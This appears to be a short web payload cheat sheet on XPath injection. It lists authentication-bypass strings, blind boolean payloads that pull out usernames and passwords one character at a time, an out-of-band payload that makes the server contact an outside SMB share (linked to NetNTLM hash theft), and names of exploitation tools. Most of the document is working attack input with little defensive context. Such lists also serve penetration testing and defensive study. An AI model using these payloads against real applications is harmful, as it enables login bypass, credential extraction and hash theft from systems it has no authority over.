XPATH injection

XPath Injection is an attack technique used to exploit applications that construct XPath (XML Path Language) queries from user-supplied input to query or navigate XML documents.

Summary

• Exploitation
• Blind exploitation
• Out Of Band Exploitation
• Tools
• References

Exploitation

Similar to SQL : "string(//user[name/text()='" +vuln_var1+ "' and password/text()=’" +vuln_var1+ "']/account/text())"

' or '1'='1
' or ''='
x' or 1=1 or 'x'='y
/
//
//*
*/*
@*
count(/child::node())
x' or name()='username' or 'x'='y
' and count(/*)=1 and '1'='1
' and count(/@*)=1 and '1'='1
' and count(/comment())=1 and '1'='1
search=')] | //user/*[contains(*,'
search=Har') and contains(../password,'c
search=Har') and starts-with(../password,'c

Blind Exploitation

1. Size of a string sql and string-length(account)=SIZE_INT
2. Extract a character sql substring(//user[userid=5]/username,2,1)=CHAR_HERE substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)

Out Of Band Exploitation

http://example.com/?title=Foundation&type=*&rent_days=* and doc('//10.10.10.10/SHARE')

Tools

• xcat - Automate XPath injection attacks to retrieve documents
• xxxpwn - Advanced XPath Injection Tool
• xxxpwn_smart - A fork of xxxpwn using predictive text
• xpath-blind-explorer
• XmlChor - Xpath injection exploitation tool

References

• OWASP XPATH Injection
• Places of Interest in Stealing NetNTLM Hashes - Osanda Malith Jayathissa - March 24, 2017

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Last update: August 30, 2022